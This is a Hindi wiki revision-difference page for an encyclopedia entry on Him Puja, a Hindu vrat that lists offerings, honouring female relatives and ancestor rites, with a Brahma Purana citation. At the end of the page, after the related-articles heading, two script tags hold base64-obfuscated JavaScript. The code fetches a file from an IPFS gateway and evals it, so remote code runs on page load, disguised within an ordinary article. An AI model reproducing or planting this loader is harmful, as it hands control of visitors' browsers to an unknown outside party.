हिम पूजा: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया) |
व्यवस्थापन (talk | contribs) m (Text replace - ")</ref" to "</ref") |
||
(8 intermediate revisions by 5 users not shown) | |||
Line 1: | Line 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक [[व्रत]] संस्कार है। | ||
*पुष्पों एवं दूध के नैवेद्य से [[चंद्र देवता|चन्द्र]], [[विष्णु]] के वाम नेत्र की [[पूर्णिमा]] पर पूजा की जाती है। | *पुष्पों एवं दूध के नैवेद्य से [[चंद्र देवता|चन्द्र]], [[विष्णु]] के वाम नेत्र की [[पूर्णिमा]] पर पूजा की जाती है। | ||
*गायों को नमक देना चाहिए। | *गायों को नमक देना चाहिए। | ||
Line 5: | Line 5: | ||
*यदि [[हिमालय]] के पास हों तो पितरों को हिम से मिश्रित मधु, तिल एवं घी देना चाहिए और जहाँ घी न हो 'हिम-हिम' का उच्चारण करना चाहिए तथा ब्राह्मणों को घृतपूर्ण माष का भोजन देना चाहिए। | *यदि [[हिमालय]] के पास हों तो पितरों को हिम से मिश्रित मधु, तिल एवं घी देना चाहिए और जहाँ घी न हो 'हिम-हिम' का उच्चारण करना चाहिए तथा ब्राह्मणों को घृतपूर्ण माष का भोजन देना चाहिए। | ||
*गीतों एवं नृत्य के साथ उत्सव तथा श्यामा देवी की पूजा करनी चाहिए। | *गीतों एवं नृत्य के साथ उत्सव तथा श्यामा देवी की पूजा करनी चाहिए। | ||
*सुरा पीने वालों को ताजी सुरा दी जाती | *सुरा पीने वालों को ताजी सुरा दी जाती है।<ref>कृत्यरत्नाकर (471-472, [[ब्रह्म पुराण]] से उद्धरण</ref> | ||
{{प्रचार}} | |||
{{संदर्भ ग्रंथ}} | |||
{{ | |||
}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==संबंधित | ==संबंधित लेख== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} |
Latest revision as of 13:01, 27 July 2011
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- पुष्पों एवं दूध के नैवेद्य से चन्द्र, विष्णु के वाम नेत्र की पूर्णिमा पर पूजा की जाती है।
- गायों को नमक देना चाहिए।
- माता, बहिन, पुत्री को नये वस्त्रों से सम्मानित करना चाहिए।
- यदि हिमालय के पास हों तो पितरों को हिम से मिश्रित मधु, तिल एवं घी देना चाहिए और जहाँ घी न हो 'हिम-हिम' का उच्चारण करना चाहिए तथा ब्राह्मणों को घृतपूर्ण माष का भोजन देना चाहिए।
- गीतों एवं नृत्य के साथ उत्सव तथा श्यामा देवी की पूजा करनी चाहिए।
- सुरा पीने वालों को ताजी सुरा दी जाती है।[1]
टीका टिप्पणी और संदर्भ
- ↑ कृत्यरत्नाकर (471-472, ब्रह्म पुराण से उद्धरण
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>